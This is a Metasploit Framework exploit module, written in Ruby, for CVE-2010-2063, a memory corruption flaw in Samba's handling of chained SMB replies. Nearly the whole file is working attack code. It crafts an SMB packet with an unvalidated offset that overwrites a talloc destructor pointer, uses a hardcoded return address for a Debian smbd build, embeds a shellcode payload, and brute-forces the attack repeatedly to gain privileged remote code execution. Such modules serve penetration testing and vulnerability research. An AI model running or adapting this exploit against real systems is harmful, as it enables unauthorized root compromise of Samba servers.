##
# $Id: chain_reply.rb 9852 2010-07-17 01:28:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Samba chain_reply Memory Corruption (Linux x86)',
			'Description'    => %q{
					This exploits a memory corruption vulnerability present in Samba versions
				prior to 3.3.13. When handling chained response packets, Samba fails to validate
				the offset value used when building the next part. By setting this value to a
				number larger than the destination buffer size, an attacker can corrupt memory.
				Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
				cause the header of the input buffer chunk to be corrupted.

				After close inspection, it appears that 3.0.x versions of Samba are not
				exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
				cause memory to be corrupted in an exploitable way. It is possible to corrupt the
				heap header of the "InputBuffer", but it didn't seem possible to get the chunk
				to be processed again prior to process exit.

				In order to gain code execution, this exploit attempts to overwrite a "talloc
				chunk" desctructor function pointer.

				This particular module is capable of exploiting the flaw on x86 Linux systems
				that do not have the nx memory protection.

				NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
				for user sessions in the default configuration.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9852 $',
			'References'     =>
				[
					[ 'CVE', '2010-2063' ],
					[ 'OSVDB', '65518' ],
					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 0x600,
					'BadChars' => "",
				},
			'Platform'       => 'linux',
			'Targets'        =>
				[
					[ 'Linux (Debian5 3.2.5-4lenny6)',
						{
							'Offset2'      => 0x1fec,
							'Bruteforce'   =>
								{
									'Start' => { 'Ret' => 0x080ad608 }, # add esp,0x10 / pop ebx / pop esi / pop ebp / ret (smbd bin)
									'Stop'  => { 'Ret' => 0x080ad608 },
									'Step'  => 0x300 # not used
								}
						}
					],

					[ 'Debugging Target',
						{
							'Offset2'      => 0x1fec,
							'Bruteforce'   =>
								{
									'Start' => { 'Ret' => 0xAABBCCDD },
									'Stop'  => { 'Ret' => 0xAABBCCDD },
									'Step'  => 0x300
								}
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 16 2010'))

		register_options(
			[
				Opt::RPORT(139)
			], self.class)
	end

	#
	# Note: this code is duplicated from lib/rex/proto/smb/client.rb
	#
	# Authenticate using clear-text passwords
	#
	def session_setup_clear_ignore_response(user = '', pass = '', domain = '')

		data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');

		pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
		self.simple.client.smb_defaults(pkt['Payload']['SMB'])

		pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
		pkt['Payload']['SMB'].v['Flags1'] = 0x18
		pkt['Payload']['SMB'].v['Flags2'] = 0x2001
		pkt['Payload']['SMB'].v['WordCount'] = 10
		pkt['Payload'].v['AndX'] = 255
		pkt['Payload'].v['MaxBuff'] = 0xffdf
		pkt['Payload'].v['MaxMPX'] = 2
		pkt['Payload'].v['VCNum'] = 1
		pkt['Payload'].v['PasswordLen'] = pass.length + 1
		pkt['Payload'].v['Capabilities'] = 64
		pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
		pkt['Payload'].v['Payload'] = data

		self.simple.client.smb_send(pkt.to_s)
		ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
	end


	def brute_exploit(addrs)

		curr_ret = addrs['Ret']
		
		# bleh, will fix later ;) stack/heap reuse messes things up sometimes
		100.times{

		begin
			print_status("Trying return address 0x%.8x..." %  curr_ret)

			connect
			self.simple.client.session_id = rand(31337)

			#puts "press any key"; $stdin.gets

			#
			# This allows us to allocate a talloc_chunk after the input buffer.
			# If doign so fails, we are lost ...
			#
			10.times { |x|
				session_setup_clear_ignore_response('', '', '')
			}

			# We re-use a pointer from the stack and jump back to our original "inbuf"
			distance = target['Offset2'] - 0x80
			jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string

			tlen = 0xc00
			trans =
				"\x00\x04" +
				"\x08\x20" +
				"\xff"+"SMB"+
				# SMBlogoffX
				[0x74].pack('V') +
				# tc->next, tc->prev
				jmp_back + ("\x42" * 3) +
				# tc->parent, tc->child
				"CCCCDDDD" +
				# tc->refs, must be zero
				("\x00" * 4) +
				# over writes tc->destructor
				[addrs['Ret']].pack('V') +
				"\x00\x00\x00\x00"+
				"\xd0\x07\x0c\x00"+
				"\xd0\x07\x0c\x00"+
				"\x00\x00\x00\x00"+
				"\x00\x00\x00\x00"+
				"\x00\x00\xd0\x07"+
				"\x43\x00\x0c\x00"+
				"\x14\x08\x01\x00"+
				"\x00\x00\x00\x00"+
				"\x00\x00\x00\x00"+
				"\x00\x00\x00\x00"+
				"\x00\x00\x00\x00"+
				"\x00\x00\x00\x00"+
				"\x00\x00\x00\x00"+
				"\x00\x00\x00\x00"+
				"\x00\x00\x90"

			# We put the shellcode first, since only part of this packet makes it into memory.
			trans << payload.encoded
			trans << rand_text(tlen - trans.length)

			# Set what eventaully becomes 'smb_off2' to our unvalidated offset value.
			smb_off2 = target['Offset2']
			trans[39,2] = [smb_off2].pack('v')

			sock.put(trans)

		rescue EOFError
			# nothing
		rescue => e
			print_error("#{e}")
		end

		handler
		disconnect

	# bleh, will fix later ;)
		break if session_created?
	}

	end

end